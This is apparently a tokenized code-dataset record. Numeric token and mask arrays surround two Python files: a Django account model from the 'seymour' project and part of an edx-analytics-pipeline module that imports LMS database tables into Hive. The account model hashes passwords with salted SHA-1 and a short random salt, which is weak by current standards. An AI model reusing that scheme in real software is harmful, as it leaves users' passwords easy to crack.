1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
lerouxb/seymour
|
seymour/accounts/models.py
|
1
|
3824
|
import datetime
from django.db import models, connection
from seymour.feeds.models import Feed, Item, AccountFeed
class Account(models.Model):
openid = models.CharField('openid', max_length=255, null=True)
firstname = models.CharField('first name', max_length=100, null=True)
lastname = models.CharField('last name', max_length=100, null=True)
email = models.EmailField('e-mail address', null=True)
date_joined = models.DateTimeField('date joined', default=datetime.datetime.now, db_index=True)
last_login = models.DateTimeField('last login', null=True, db_index=True)
password_salt = models.CharField('password salt', max_length=100, null=True)
password_hash = models.CharField('password hash', max_length=100, null=True)
confirmation_code = models.CharField('confirmation code', max_length=50, null=True, db_index=True)
is_active = models.BooleanField('active', default=True, db_index=True)
class Meta:
db_table = 'accounts'
unique_together = (('email', 'openid'),)
ordering = ['email', 'openid']
def get_fullname(self):
if self.firstname or self.lastname:
return u"%s %s" % (self.firstname, self.lastname)
else:
return None
fullname = property(get_fullname)
def set_password(self, raw_password):
import random
import sha
salt = sha.new(str(random.random())).hexdigest()[:5]
hsh = sha.new(salt+raw_password).hexdigest()
self.password_salt = salt
self.password_hash = hsh
def check_password(self, raw_password):
"""
Returns a boolean of whether the raw_password was correct.
"""
import random
import sha
hsh = sha.new(self.password_salt+raw_password).hexdigest()
return self.password_hash == hsh
def get_all_feeds(self):
"""Return all feeds associated with this account"""
return self.accountfeed_set.select_related().filter().order_by('feeds.title')
def get_unread_feeds(self):
"""Return a list of unread feeds for this account. Each feed has
unread_total filled in."""
sql = """
SELECT items.feed_id, count(*)
FROM items
INNER JOIN accounts_feeds ON accounts_feeds.feed_id = items.feed_id
WHERE accounts_feeds.account_id = %s AND
(items.date_added > accounts_feeds.latest_read OR accounts_feeds.latest_read IS NULL)
GROUP BY items.feed_id
""" % (self.id,)
cursor = connection.cursor()
cursor.execute(sql)
feed_totals = {}
for row in cursor.fetchall():
feed_id, total_items = row
feed_totals[feed_id] = total_items
feed_ids = feed_totals.keys()
if feed_ids:
accountfeeds = AccountFeed.objects.select_related().filter(account=self, feed__id__in=feed_ids).order_by('feeds.title')
for af in accountfeeds:
af.feed.unread_total = feed_totals[af.feed.id]
return accountfeeds
else:
return []
def save(self):
# TODO: What would be the best standard exception here?
# (This should be picked up by form validation already)
if self.email and self.openid:
raise Exception()
if not self.email and not self.openid:
raise Exception()
if self.openid and (self.password_salt or self.password_hash):
raise Exception()
if self.email and not (self.password_salt and self.password_hash):
raise Exception()
super(Account, self).save()
|
mit
|
[
646,
2197,
199,
504,
1639,
14,
697,
492,
1709,
12,
1950,
199,
504,
542,
12828,
567,
14,
11522,
14,
992,
492,
16261,
12,
7020,
12,
9973,
7658,
421,
199,
533,
9973,
8,
992,
14,
1685,
304,
272,
24494,
275,
1709,
14,
2183,
360,
15403,
297,
1390,
63,
1267,
29,
2299,
12,
2973,
29,
549,
9,
272,
1642,
354,
275,
1709,
14,
2183,
360,
2246,
536,
297,
1390,
63,
1267,
29,
1960,
12,
2973,
29,
549,
9,
272,
2061,
354,
275,
1709,
14,
2183,
360,
2019,
536,
297,
1390,
63,
1267,
29,
1960,
12,
2973,
29,
549,
9,
272,
3031,
275,
1709,
14,
16577,
360,
69,
13,
1198,
2287,
297,
2973,
29,
549,
9,
272,
1434,
63,
11806,
275,
1709,
14,
4626,
360,
602,
16538,
297,
849,
29,
2083,
14,
2083,
14,
2131,
12,
1592,
63,
1080,
29,
549,
9,
272,
2061,
63,
2886,
275,
1709,
14,
4626,
360,
2019,
4676,
297,
2973,
29,
549,
12,
1592,
63,
1080,
29,
549,
9,
272,
2505,
63,
12597,
275,
1709,
14,
2183,
360,
2060,
10105,
297,
1390,
63,
1267,
29,
1960,
12,
2973,
29,
549,
9,
272,
2505,
63,
2227,
275,
1709,
14,
2183,
360,
2060,
2631,
297,
1390,
63,
1267,
29,
1960,
12,
2973,
29,
549,
9,
272,
18791,
63,
600,
275,
1709,
14,
2183,
360,
20903,
1233,
297,
1390,
63,
1267,
29,
1400,
12,
2973,
29,
549,
12,
1592,
63,
1080,
29,
549,
9,
272,
365,
63,
2682,
275,
1709,
14,
5036,
360,
2682,
297,
849,
29,
549,
12,
1592,
63,
1080,
29,
549,
9,
258,
2286,
1021,
6288,
26,
267,
1592,
63,
1224,
275,
283,
8370,
7,
267,
3747,
63,
6314,
275,
13636,
2123,
297,
283,
15403,
659,
9,
267,
7794,
275,
788,
2123,
297,
283,
15403,
418,
5493,
347,
664,
63,
9930,
8,
277,
304,
267,
340,
291,
14,
25603,
503,
291,
14,
31164,
26,
3777,
288,
372,
399,
6808,
83,
450,
83,
2,
450,
334,
277,
14,
25603,
12,
291,
14,
31164,
9,
267,
587,
26,
288,
372,
488,
272,
11064,
275,
3324,
8,
362,
63,
9930,
9,
5493,
347,
663,
63,
2060,
8,
277,
12,
3066,
63,
2060,
304,
267,
492,
2196,
267,
492,
7793,
586,
267,
10105,
275,
7793,
14,
1222,
8,
495,
8,
2355,
14,
2355,
4059,
14,
11453,
20523,
21,
61,
18418,
394,
609,
275,
7793,
14,
1222,
8,
12597,
11,
1773,
63,
2060,
680,
11453,
342,
267,
291,
14,
2060,
63,
12597,
275,
10105,
267,
291,
14,
2060,
63,
2227,
275,
394,
609,
260,
339,
347,
1104,
63,
2060,
8,
277,
12,
3066,
63,
2060,
304,
267,
408,
267,
1803,
282,
5046,
402,
3775,
314,
3066,
63,
2060,
1990,
3211,
14,
267,
408,
398,
492,
2196,
267,
492,
7793,
21695,
394,
609,
275,
7793,
14,
1222,
8,
277,
14,
2060,
63,
12597,
11,
1773,
63,
2060,
680,
11453,
342,
267,
372,
291,
14,
2060,
63,
2227,
508,
394,
609,
5493,
347,
664,
63,
452,
63,
11522,
8,
277,
304,
267,
408,
1767,
1006,
22295,
4568,
543,
642,
2933,
624,
21695,
372,
291,
14,
2048,
3871,
63,
409,
14,
2416,
63,
2407,
1252,
1541,
1252,
1648,
63,
991,
360,
11522,
14,
1213,
358,
2286,
347,
664,
63,
28677,
63,
11522,
8,
277,
304,
267,
408,
1767,
282,
769,
402,
625,
739,
22295,
367,
642,
2933,
14,
7048,
4733,
965,
221,
1779,
625,
739,
63,
2923,
13457,
315,
1041,
398,
3875,
275,
408,
199,
4859,
2974,
14,
3871,
63,
344,
12,
2338,
21565,
199,
12491,
2974,
199,
31031,
10593,
12639,
63,
11522,
5258,
12639,
63,
11522,
14,
3871,
63,
344,
275,
2974,
14,
3871,
63,
344,
199,
17688,
12639,
63,
11522,
14,
2048,
63,
344,
275,
450,
83,
2401,
15166,
334,
1744,
14,
602,
63,
3270,
690,
12639,
63,
11522,
14,
7410,
63,
739,
1549,
12639,
63,
11522,
14,
7410,
63,
739,
2281,
5962,
9,
199,
7823,
6515,
2974,
14,
3871,
63,
344,
267,
408,
450,
334,
277,
14,
344,
4258,
2728,
3920,
275,
1950,
14,
3937,
342,
267,
3920,
14,
2526,
8,
3009,
9,
2728,
4733,
63,
17552,
275,
1052,
267,
367,
1962,
315,
3920,
14,
10174,
837,
288,
4733,
63,
344,
12,
3141,
63,
1744,
275,
1962,
4519,
288,
4733,
63,
17552,
59,
3871,
63,
344,
61,
275,
3141,
63,
1744,
2728,
4733,
63,
1580,
275,
4733,
63,
17552,
14,
1612,
342,
2728,
340,
4733,
63,
1580,
26,
3777,
288,
2933,
11522,
275,
9973,
7658,
14,
1462,
14,
2416,
63,
2407,
1252,
1541,
8,
2048,
29,
277,
12,
4733,
363,
344,
363,
262,
29,
3871,
63,
1580,
680,
1648,
63,
991,
360,
11522,
14,
1213,
358,
288,
367,
15871,
315,
2933,
11522,
26,
355,
15871,
14,
3871,
14,
28677,
63,
2923,
275,
4733,
63,
17552,
59,
2756,
14,
3871,
14,
344,
61,
953,
372,
2933,
11522,
10631,
587,
26,
288,
372,
942,
15567,
347,
3354,
8,
277,
304,
267,
327,
3254,
26,
14791,
3955,
506,
314,
5526,
4465,
1919,
2348,
31,
267,
327,
755,
334,
2765,
1077,
506,
29438,
1536,
701,
1824,
6411,
2575,
9,
2728,
340,
291,
14,
2123,
436,
291,
14,
15403,
26,
288,
746,
2186,
342,
4960,
340,
440,
291,
14,
2123,
436,
440,
291,
14,
15403,
26,
288,
746,
2186,
342,
3777,
267,
340,
291,
14,
15403,
436,
334,
277,
14,
2060,
63,
12597,
503,
291,
14,
2060,
63,
2227,
304,
288,
746,
2186,
342,
267,
340,
291,
14,
2123,
436,
440,
334,
277,
14,
2060,
63,
12597,
436,
291,
14,
2060,
63,
2227,
304,
288,
746,
2186,
342,
10631,
1613,
8,
6009,
12,
291,
680,
2117,
342,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
2197,
199,
504,
1639,
14,
697,
492,
1709,
12,
1950,
199,
504,
542,
12828,
567,
14,
11522,
14,
992,
492,
16261,
12,
7020,
12,
9973,
7658,
421,
199,
533,
9973,
8,
992,
14,
1685,
304,
272,
24494,
275,
1709,
14,
2183,
360,
15403,
297,
1390,
63,
1267,
29,
2299,
12,
2973,
29,
549,
9,
272,
1642,
354,
275,
1709,
14,
2183,
360,
2246,
536,
297,
1390,
63,
1267,
29,
1960,
12,
2973,
29,
549,
9,
272,
2061,
354,
275,
1709,
14,
2183,
360,
2019,
536,
297,
1390,
63,
1267,
29,
1960,
12,
2973,
29,
549,
9,
272,
3031,
275,
1709,
14,
16577,
360,
69,
13,
1198,
2287,
297,
2973,
29,
549,
9,
272,
1434,
63,
11806,
275,
1709,
14,
4626,
360,
602,
16538,
297,
849,
29,
2083,
14,
2083,
14,
2131,
12,
1592,
63,
1080,
29,
549,
9,
272,
2061,
63,
2886,
275,
1709,
14,
4626,
360,
2019,
4676,
297,
2973,
29,
549,
12,
1592,
63,
1080,
29,
549,
9,
272,
2505,
63,
12597,
275,
1709,
14,
2183,
360,
2060,
10105,
297,
1390,
63,
1267,
29,
1960,
12,
2973,
29,
549,
9,
272,
2505,
63,
2227,
275,
1709,
14,
2183,
360,
2060,
2631,
297,
1390,
63,
1267,
29,
1960,
12,
2973,
29,
549,
9,
272,
18791,
63,
600,
275,
1709,
14,
2183,
360,
20903,
1233,
297,
1390,
63,
1267,
29,
1400,
12,
2973,
29,
549,
12,
1592,
63,
1080,
29,
549,
9,
272,
365,
63,
2682,
275,
1709,
14,
5036,
360,
2682,
297,
849,
29,
549,
12,
1592,
63,
1080,
29,
549,
9,
258,
2286,
1021,
6288,
26,
267,
1592,
63,
1224,
275,
283,
8370,
7,
267,
3747,
63,
6314,
275,
13636,
2123,
297,
283,
15403,
659,
9,
267,
7794,
275,
788,
2123,
297,
283,
15403,
418,
5493,
347,
664,
63,
9930,
8,
277,
304,
267,
340,
291,
14,
25603,
503,
291,
14,
31164,
26,
3777,
288,
372,
399,
6808,
83,
450,
83,
2,
450,
334,
277,
14,
25603,
12,
291,
14,
31164,
9,
267,
587,
26,
288,
372,
488,
272,
11064,
275,
3324,
8,
362,
63,
9930,
9,
5493,
347,
663,
63,
2060,
8,
277,
12,
3066,
63,
2060,
304,
267,
492,
2196,
267,
492,
7793,
586,
267,
10105,
275,
7793,
14,
1222,
8,
495,
8,
2355,
14,
2355,
4059,
14,
11453,
20523,
21,
61,
18418,
394,
609,
275,
7793,
14,
1222,
8,
12597,
11,
1773,
63,
2060,
680,
11453,
342,
267,
291,
14,
2060,
63,
12597,
275,
10105,
267,
291,
14,
2060,
63,
2227,
275,
394,
609,
260,
339,
347,
1104,
63,
2060,
8,
277,
12,
3066,
63,
2060,
304,
267,
408,
267,
1803,
282,
5046,
402,
3775,
314,
3066,
63,
2060,
1990,
3211,
14,
267,
408,
398,
492,
2196,
267,
492,
7793,
21695,
394,
609,
275,
7793,
14,
1222,
8,
277,
14,
2060,
63,
12597,
11,
1773,
63,
2060,
680,
11453,
342,
267,
372,
291,
14,
2060,
63,
2227,
508,
394,
609,
5493,
347,
664,
63,
452,
63,
11522,
8,
277,
304,
267,
408,
1767,
1006,
22295,
4568,
543,
642,
2933,
624,
21695,
372,
291,
14,
2048,
3871,
63,
409,
14,
2416,
63,
2407,
1252,
1541,
1252,
1648,
63,
991,
360,
11522,
14,
1213,
358,
2286,
347,
664,
63,
28677,
63,
11522,
8,
277,
304,
267,
408,
1767,
282,
769,
402,
625,
739,
22295,
367,
642,
2933,
14,
7048,
4733,
965,
221,
1779,
625,
739,
63,
2923,
13457,
315,
1041,
398,
3875,
275,
408,
199,
4859,
2974,
14,
3871,
63,
344,
12,
2338,
21565,
199,
12491,
2974,
199,
31031,
10593,
12639,
63,
11522,
5258,
12639,
63,
11522,
14,
3871,
63,
344,
275,
2974,
14,
3871,
63,
344,
199,
17688,
12639,
63,
11522,
14,
2048,
63,
344,
275,
450,
83,
2401,
15166,
334,
1744,
14,
602,
63,
3270,
690,
12639,
63,
11522,
14,
7410,
63,
739,
1549,
12639,
63,
11522,
14,
7410,
63,
739,
2281,
5962,
9,
199,
7823,
6515,
2974,
14,
3871,
63,
344,
267,
408,
450,
334,
277,
14,
344,
4258,
2728,
3920,
275,
1950,
14,
3937,
342,
267,
3920,
14,
2526,
8,
3009,
9,
2728,
4733,
63,
17552,
275,
1052,
267,
367,
1962,
315,
3920,
14,
10174,
837,
288,
4733,
63,
344,
12,
3141,
63,
1744,
275,
1962,
4519,
288,
4733,
63,
17552,
59,
3871,
63,
344,
61,
275,
3141,
63,
1744,
2728,
4733,
63,
1580,
275,
4733,
63,
17552,
14,
1612,
342,
2728,
340,
4733,
63,
1580,
26,
3777,
288,
2933,
11522,
275,
9973,
7658,
14,
1462,
14,
2416,
63,
2407,
1252,
1541,
8,
2048,
29,
277,
12,
4733,
363,
344,
363,
262,
29,
3871,
63,
1580,
680,
1648,
63,
991,
360,
11522,
14,
1213,
358,
288,
367,
15871,
315,
2933,
11522,
26,
355,
15871,
14,
3871,
14,
28677,
63,
2923,
275,
4733,
63,
17552,
59,
2756,
14,
3871,
14,
344,
61,
953,
372,
2933,
11522,
10631,
587,
26,
288,
372,
942,
15567,
347,
3354,
8,
277,
304,
267,
327,
3254,
26,
14791,
3955,
506,
314,
5526,
4465,
1919,
2348,
31,
267,
327,
755,
334,
2765,
1077,
506,
29438,
1536,
701,
1824,
6411,
2575,
9,
2728,
340,
291,
14,
2123,
436,
291,
14,
15403,
26,
288,
746,
2186,
342,
4960,
340,
440,
291,
14,
2123,
436,
440,
291,
14,
15403,
26,
288,
746,
2186,
342,
3777,
267,
340,
291,
14,
15403,
436,
334,
277,
14,
2060,
63,
12597,
503,
291,
14,
2060,
63,
2227,
304,
288,
746,
2186,
342,
267,
340,
291,
14,
2123,
436,
440,
334,
277,
14,
2060,
63,
12597,
436,
291,
14,
2060,
63,
2227,
304,
288,
746,
2186,
342,
10631,
1613,
8,
6009,
12,
291,
680,
2117,
342,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
sssllliang/edx-analytics-pipeline
|
edx/analytics/tasks/database_imports.py
|
1
|
22573
|
"""
Import data from external RDBMS databases into Hive.
"""
import datetime
import logging
import textwrap
import luigi
from luigi.hive import HiveQueryTask, HivePartitionTarget
from edx.analytics.tasks.sqoop import SqoopImportFromMysql
from edx.analytics.tasks.url import url_path_join
from edx.analytics.tasks.util.overwrite import OverwriteOutputMixin
from edx.analytics.tasks.util.hive import hive_database_name
log = logging.getLogger(__name__)
class DatabaseImportMixin(object):
"""
Provides general parameters needed for accessing RDBMS databases.
Parameters:
destination: The directory to write the output files to.
credentials: Path to the external access credentials file.
num_mappers: The number of map tasks to ask Sqoop to use.
verbose: Print more information while working. Default is False.
import_date: Date to assign to Hive partition. Default is today's date.
Example Credentials File::
{
"host": "db.example.com",
"port": "3306",
"username": "exampleuser",
"password": "example password"
}
"""
destination = luigi.Parameter(
config_path={'section': 'database-import', 'name': 'destination'}
)
credentials = luigi.Parameter(
config_path={'section': 'database-import', 'name': 'credentials'}
)
database = luigi.Parameter(
default_from_config={'section': 'database-import', 'name': 'database'}
)
import_date = luigi.DateParameter(default=None)
num_mappers = luigi.Parameter(default=None, significant=False)
verbose = luigi.BooleanParameter(default=False, significant=False)
def __init__(self, *args, **kwargs):
super(DatabaseImportMixin, self).__init__(*args, **kwargs)
if not self.import_date:
self.import_date = datetime.datetime.utcnow().date()
class ImportIntoHiveTableTask(OverwriteOutputMixin, HiveQueryTask):
"""
Abstract class to import data into a Hive table.
Requires four properties and a requires() method to be defined.
"""
def query(self):
# TODO: Figure out how to clean up old data. This just cleans
# out old metastore info, and doesn't actually remove the table
# data.
# Ensure there is exactly one available partition in the
# table. Don't keep historical partitions since we don't want
# to commit to taking snapshots at any regular interval. They
# will happen when/if they need to happen. Table snapshots
# should *not* be used for analyzing trends, instead we should
# rely on events or database tables that keep historical
# information.
query_format = textwrap.dedent("""
USE {database_name};
DROP TABLE IF EXISTS {table_name};
CREATE EXTERNAL TABLE {table_name} (
{col_spec}
)
PARTITIONED BY (dt STRING)
{table_format}
LOCATION '{location}';
ALTER TABLE {table_name} ADD PARTITION (dt = '{partition_date}');
""")
query = query_format.format(
database_name=hive_database_name(),
table_name=self.table_name,
col_spec=','.join([' '.join(c) for c in self.columns]),
location=self.table_location,
table_format=self.table_format,
partition_date=self.partition_date,
)
log.debug('Executing hive query: %s', query)
# Mark the output as having been removed, even though
# that doesn't technically happen until the query has been
# executed (and in particular that the 'DROP TABLE' is executed).
log.info("Marking existing output as having been removed for task %s", str(self))
self.attempted_removal = True
return query
@property
def partition(self):
"""Provides name of Hive database table partition."""
# The Luigi hive code expects partitions to be defined by dictionaries.
return {'dt': self.partition_date}
@property
def partition_location(self):
"""Provides location of Hive database table's partition data."""
# The actual folder name where the data is stored is expected to be in the format <key>=<value>
partition_name = '='.join(self.partition.items()[0])
# Make sure that input path ends with a slash, to indicate a directory.
# (This is necessary for S3 paths that are output from Hadoop jobs.)
return url_path_join(self.table_location, partition_name + '/')
@property
def table_name(self):
"""Provides name of Hive database table."""
raise NotImplementedError
@property
def table_format(self):
"""Provides format of Hive database table's data."""
raise NotImplementedError
@property
def table_location(self):
"""Provides root location of Hive database table's data."""
raise NotImplementedError
@property
def partition_date(self):
"""Provides value to use in constructing the partition name of Hive database table."""
raise NotImplementedError
@property
def columns(self):
"""
Provides definition of columns in Hive.
This should define a list of (name, definition) tuples, where
the definition defines the Hive type to use. For example,
('first_name', 'STRING').
"""
raise NotImplementedError
def output(self):
return HivePartitionTarget(
self.table_name, self.partition, database=hive_database_name(), fail_missing_table=False
)
class ImportMysqlToHiveTableTask(DatabaseImportMixin, ImportIntoHiveTableTask):
"""
Dumps data from an RDBMS table, and imports into Hive.
Requires override of `table_name` and `columns` properties.
"""
@property
def table_location(self):
return url_path_join(self.destination, self.table_name)
@property
def table_format(self):
# Use default of hive built-in format.
return ""
@property
def partition_date(self):
# Partition date is provided by DatabaseImportMixin.
return self.import_date.isoformat()
def requires(self):
return SqoopImportFromMysql(
table_name=self.table_name,
# TODO: We may want to make the explicit passing in of columns optional as it prevents a direct transfer.
# Make sure delimiters and nulls etc. still work after removal.
columns=[c[0] for c in self.columns],
destination=self.partition_location,
credentials=self.credentials,
num_mappers=self.num_mappers,
verbose=self.verbose,
overwrite=self.overwrite,
database=self.database,
# Hive expects NULL to be represented by the string "\N" in the data. You have to pass in "\\N" to sqoop
# since it uses that string directly in the generated Java code, so "\\N" actually looks like "\N" to the
# Java code. In order to get "\\N" onto the command line we have to use another set of escapes to tell the
# python code to pass through the "\" character.
null_string='\\\\N',
# It's unclear why, but this setting prevents us from correctly substituting nulls with \N.
mysql_delimiters=False,
# This is a string that is interpreted as an octal number, so it is equivalent to the character Ctrl-A
# (0x01). This is the default separator for fields in Hive.
fields_terminated_by='\x01',
# Replace delimiters with a single space if they appear in the data. This prevents the import of malformed
# records. Hive does not support escape characters or other reasonable workarounds to this problem.
delimiter_replacement=' ',
)
class ImportStudentCourseEnrollmentTask(ImportMysqlToHiveTableTask):
"""Imports course enrollment information from an external LMS DB to a destination directory."""
@property
def table_name(self):
return 'student_courseenrollment'
@property
def columns(self):
return [
('id', 'INT'),
('user_id', 'INT'),
('course_id', 'STRING'),
('created', 'TIMESTAMP'),
('is_active', 'BOOLEAN'),
('mode', 'STRING'),
]
class ImportAuthUserTask(ImportMysqlToHiveTableTask):
"""Imports user information from an external LMS DB to a destination directory."""
@property
def table_name(self):
return 'auth_user'
@property
def columns(self):
# Fields not included are 'password', 'first_name' and 'last_name'.
# In our LMS, the latter two are always empty.
return [
('id', 'INT'),
('username', 'STRING'),
('last_login', 'TIMESTAMP'),
('date_joined', 'TIMESTAMP'),
('is_active', 'BOOLEAN'),
('is_superuser', 'BOOLEAN'),
('is_staff', 'BOOLEAN'),
('email', 'STRING'),
]
class ImportAuthUserProfileTask(ImportMysqlToHiveTableTask):
"""
Imports user demographic information from an external LMS DB to both a
destination directory and a HIVE metastore.
"""
@property
def table_name(self):
return 'auth_userprofile'
@property
def columns(self):
return [
('user_id', 'INT'),
('gender', 'STRING'),
('year_of_birth', 'INT'),
('level_of_education', 'STRING'),
]
class ImportCourseUserGroupTask(ImportMysqlToHiveTableTask):
"""
Imports course cohort information from an external LMS DB to both a
destination directory and a HIVE metastore.
"""
@property
def table_name(self):
return 'course_groups_courseusergroup'
@property
def columns(self):
return [
('id', 'INT'),
('name', 'STRING'),
('course_id', 'STRING'),
('group_type', 'STRING'),
]
class ImportCourseUserGroupUsersTask(ImportMysqlToHiveTableTask):
"""
Imports user cohort information from an external LMS DB to both a
destination directory and a HIVE metastore.
"""
@property
def table_name(self):
return 'course_groups_courseusergroup_users'
@property
def columns(self):
return [
('courseusergroup_id', 'INT'),
('user_id', 'INT'),
]
class ImportShoppingCartOrder(ImportMysqlToHiveTableTask):
"""
Imports orders from an external LMS DB shopping cart table to both a
destination directory and a HIVE metastore.
"""
@property
def table_name(self):
return 'shoppingcart_order'
@property
def columns(self):
return [
('id', 'INT'),
('user_id', 'INT'),
('currency', 'STRING'),
('status', 'STRING'),
('purchase_time', 'TIMESTAMP'),
('bill_to_first', 'STRING'),
('bill_to_last', 'STRING'),
('bill_to_street1', 'STRING'),
('bill_to_street2', 'STRING'),
('bill_to_city', 'STRING'),
('bill_to_state', 'STRING'),
('bill_to_postalcode', 'STRING'),
('bill_to_country', 'STRING'),
('bill_to_ccnum', 'STRING'),
('bill_to_cardtype', 'STRING'),
('processor_reply_dump', 'STRING'),
('refunded_time', 'STRING'),
('company_name', 'STRING'),
('company_contact_name', 'STRING'),
('company_contact_email', 'STRING'),
('recipient_name', 'STRING'),
('recipient_email', 'STRING'),
('customer_reference_number', 'STRING'),
('order_type', 'STRING'),
]
class ImportShoppingCartOrderItem(ImportMysqlToHiveTableTask):
"""
Imports individual order items from an external LMS DB shopping cart table to both a
destination directory and a HIVE metastore.
"""
@property
def table_name(self):
return 'shoppingcart_orderitem'
@property
def columns(self):
return [
('id', 'INT'),
('order_id', 'INT'),
('user_id', 'INT'),
('status', 'STRING'),
('qty', 'int'),
('unit_cost', 'DECIMAL'),
('line_desc', 'STRING'),
('currency', 'STRING'),
('fulfilled_time', 'TIMESTAMP'),
('report_comments', 'STRING'),
('refund_requested_time', 'TIMESTAMP'),
('service_fee', 'DECIMAL'),
('list_price', 'DECIMAL'),
('created', 'TIMESTAMP'),
('modified', 'TIMESTAMP'),
]
class ImportShoppingCartCertificateItem(ImportMysqlToHiveTableTask):
"""
Imports certificate items from an external LMS DB shopping cart table to both a
destination directory and a HIVE metastore.
"""
@property
def table_name(self):
return 'shoppingcart_certificateitem'
@property
def columns(self):
return [
('orderitem_ptr_id', 'INT'),
('course_id', 'STRING'),
('course_enrollment_id', 'INT'),
('mode', 'STRING'),
]
class ImportShoppingCartPaidCourseRegistration(ImportMysqlToHiveTableTask):
"""
Imports paid course registrations from an external LMS DB shopping cart table to both a
destination directory and a HIVE metastore.
"""
@property
def table_name(self):
return 'shoppingcart_paidcourseregistration'
@property
def columns(self):
return [
('orderitem_ptr_id', 'INT'),
('course_id', 'STRING'),
('mode', 'STRING'),
('course_enrollment_id', 'INT'),
]
class ImportShoppingCartDonation(ImportMysqlToHiveTableTask):
"""
Imports donations from an external LMS DB shopping cart table to both a
destination directory and a HIVE metastore.
"""
@property
def table_name(self):
return 'shoppingcart_donation'
@property
def columns(self):
return [
('orderitem_ptr_id', 'INT'),
('donation_type', 'STRING'),
('course_id', 'STRING'),
]
class ImportShoppingCartCourseRegistrationCodeItem(ImportMysqlToHiveTableTask):
"""
Imports course registration codes from an external ecommerce table to both a
destination directory and a HIVE metastore.
"""
@property
def table_name(self):
return 'shoppingcart_courseregcodeitem'
@property
def columns(self):
return [
('orderitem_ptr_id', 'INT'),
('course_id', 'STRING'),
('mode', 'STRING'),
]
class ImportEcommerceUser(ImportMysqlToHiveTableTask):
"""Ecommerce: Users: Imports users from an external ecommerce table to a destination dir."""
@property
def table_name(self):
return 'ecommerce_user'
@property
